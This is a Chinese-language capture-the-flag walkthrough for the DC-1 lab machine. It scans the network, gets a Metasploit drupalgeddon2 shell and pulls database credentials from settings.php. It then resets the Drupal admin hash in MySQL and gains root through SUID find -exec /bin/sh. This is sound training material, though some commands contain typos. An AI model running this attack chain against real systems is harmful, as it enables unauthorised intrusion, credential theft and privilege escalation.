下载DC-1靶机并导入虚拟机,攻击机与靶机均设置为NAT模式
第一步:确定目标
1.在终端输入ip -a,查看本机网卡的配置信息,两机均为NAT模式其所属网段是相同的。
本机所属网段为192.168.174.0/24
2.在终端输入nmap -sn 192.168.174.0/24 -oG -,用nmap扫描该网段存货的主机,找到靶机的IP地址。
确认目标靶机的IP地址为192.168.174.131。
第二步:端口扫描
1.在终端输入namp -sV -sC -O -p- 192.168.174.131,对目标进行端口扫描,查看开放了哪些端口以及对应的服务与版本。
可以看到目标开放了22端口、80端口和111端口以及对应的服务及版本信息。22端口是登录门,80端口是网站门,先去网站里找账号密码再去登录SSH。
第三步:CMS识别,确认目标网站信息
1.在浏览器输入http://192.168.174.131。
可以看到目标网站使用的CMS是Drupal。
2.在终端输入dirsearch -u http://192.168.56.101 -e * -x 404,扫一下网站有哪些目录。
2.由于网站无法访问COPYRIGHT.txt,于是用whatweb工具对目标进行CMS识别,在终端输入whatweb http://192,168,174,131。
可以看到网站使用的是Drupal 7.X版本
第四步:匹配漏洞
1. 用searchsploit查漏洞,在终端输入searchsploit drupal,查与Drupal相关的漏洞。
我们选择红线这条。
第五步:使用Msfconsole
1.在终端输入msfconsole,启动。
2.在msf6 > 后输入search drupal,搜索drupal的相关攻击模块
3.在msf6 >后输入use exploit/unix/webapp/drupal_drupalgeddon2,选定漏洞模块。
4.在msf6 exploit...后输入set RH0STS 192.168.174.131,目标地址。
5.在msf6 exploit...后输入show options,查看RGOSTS是否配置成功。
6.在msf6 exploit...后输入run,发起攻击。
7.在meterpreter >后输入shell,进入目标机器的命令行。
8.输入whoami,查看当前身份。
9.ls,列出当前目录下的文件和文件夹,发现flag1.txt。
10.cat flag1.txt查看文件,找到flag1。
翻译是"每个好的 CMS 都需要一个配置文件——你也需要。"说明下一个线索在网站配置文件里
第六步:升级shell
1.用pty模拟真实终端环境,在shell里输入which python查看有没有python。
2.输入python -c 'import pty; pty.spawn("/bin/bash")',用 python 的 pty 模块生成一个交互式 bash。
升级成功
第七步:翻 CMS 配置文件,挖出数据库账号密码
1.Drupal 7 的配置文件固定位于网站根目录下:sites/default/settings.php。我们直接去读:
flag2提示我们要去搞到访问权限
第八步:数据库操作
1.Drupal用的是MySQL(MariaDB)数据库,输入mysql -u dbuser -p用刚挖到的账号密码直接登录。
2.查看信息
3.置换drpual的密码
exit退出mysql,然后进www-data的根目录。
用Drupal自带的哈希密码脚本设置新密码123,输入php scripts/password-hash.sh '123'。
回到mysql>,用use命令指定要操作的数据库drupaldb。
如果之前登录失败被锁定了,需要情况登录失败锁定表,用DELETE FROM flood;
在数据库中更新密码,UPDATE users SET pass = '粘贴之前记录的哈希值' WHERE uid = 1;
退出mysql,去登录页面,输入用户名和新的密码登录。
在网页里找到flag3的信息。提示我们该进行本地提权了,提示用find提权,-exec是find提权的关参数。
第九步:提权
1.输入which find,找到find命令的位置,然后输入ls -l /usr/bin/find,查看find命令的权限。
有SUID权限,且所有者是root。意味着普通用户执行find命令,它会以root身份运行。
2.输入find . -exec /bin/sh \;,获得root权限。
找到最终的flag。